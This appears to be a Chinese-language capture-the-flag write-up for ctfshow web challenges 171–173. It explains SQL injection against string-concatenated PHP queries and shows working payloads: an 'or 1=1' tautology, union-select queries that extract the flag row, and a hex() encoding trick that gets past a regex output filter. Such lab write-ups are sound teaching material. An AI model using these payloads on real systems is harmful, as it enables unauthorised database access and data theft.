WEB ---- ctfshow ----- SQL注入

web171

WEB ---- ctfshow ----- SQL注入_第1张图片

看题目

WEB ---- ctfshow ----- SQL注入_第2张图片

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//拼接sql语句查找指定ID用户

我们能够控制的只有id的值,经分析,条件为username不为 flag。可是只有用户名为 flag 才能输出 正确的flag。

第一步先判断是否有注入点。

观察到存在单引号,所以要考虑引号闭合问题。

WEB ---- ctfshow ----- SQL注入_第3张图片
输入的内容被当作代码执行
WEB ---- ctfshow ----- SQL注入_第4张图片

逻辑词 or 只要任意一个条件为真就算成立

所以输入1' or '1=1,可以列出所有的记录(数据)

WEB ---- ctfshow ----- SQL注入_第5张图片本来抱着测试注入点,不小心把 flag 测出来了,嘻嘻。

正规做一下这个题,要想绕过username!=flag ,仔细观察得到username!=flag与 id 使用逻辑运算符 and 相连,所以使得 id 与一个不存在的数相等,就可以绕过username!=flag

WEB ---- ctfshow ----- SQL注入_第6张图片

web172

WEB ---- ctfshow ----- SQL注入_第7张图片
打开题目:
WEB ---- ctfshow ----- SQL注入_第8张图片
点击SELECT模块,无过滤注入1

WEB ---- ctfshow ----- SQL注入_第9张图片
咦,和上一道是一样的
WEB ---- ctfshow ----- SQL注入_第10张图片
试一试,嘿嘿

WEB ---- ctfshow ----- SQL注入_第11张图片
哈哈哈,他提示flag不在这。

噢噢,原来是这个靶场
WEB ---- ctfshow ----- SQL注入_第12张图片查询语句
//拼接sql语句查找指定ID用户

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

老规矩,测试注入点
WEB ---- ctfshow ----- SQL注入_第13张图片WEB ---- ctfshow ----- SQL注入_第14张图片已确定,存在注入点

返回逻辑

//检查结果是否有flag

 	if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

注意:select查询完成后,会返回结果,这时,返回逻辑代码开始阻止,若返回结果的字段名username的值为flag,则返回false
WEB ---- ctfshow ----- SQL注入_第15张图片确实没有返回username='flag'的值。
所以要绕过$row->username!=='flag',检查返回的字段名username,那么不让返回值中存在username就好了鸭!

使用union语句。try 一 try(试一试)

(注意:--+是MySQL语法中的注释)

999' union select id,password from ctfshow_user2 where username='flag' --+

999' union select id,password from ctfshow_user2 where id = '1' or 1=1--

这个是返回所有的数据记录
WEB ---- ctfshow ----- SQL注入_第16张图片

web173

WEB ---- ctfshow ----- SQL注入_第17张图片打开题目:
WEB ---- ctfshow ----- SQL注入_第18张图片查询语句

//拼接sql语句查找指定ID用户

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag

if(!preg_match('/flag/i', json_encode($ret))){
  $ret['msg']='查询成功';
}

preg_match是正则表达式

preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)

返回匹配到的次数。正则表达式格式///i是不区分大小写

json_encode函数,对变量进行 JSON 编码,该函数只对 UTF-8 编码的数据有效。

和web172的思路大致相同,这次是使用正则表达式。而且注意到,这次是输出 id,username,password 三个字段的记录。

WEB ---- ctfshow ----- SQL注入_第19张图片
WEB ---- ctfshow ----- SQL注入_第20张图片存在注入点,输入的数据会被当成代码执行。

所以对用户名username的值进行十六进制转换,这样就可以绕过正则表达式。

999' union select id,hex(username),password from ctfshow_user3 where username = 'flag

hex(),将其中的内容进行十六进制的转换。
WEB ---- ctfshow ----- SQL注入_第21张图片

你可能感兴趣的:(web,0-1,sql,前端,数据库)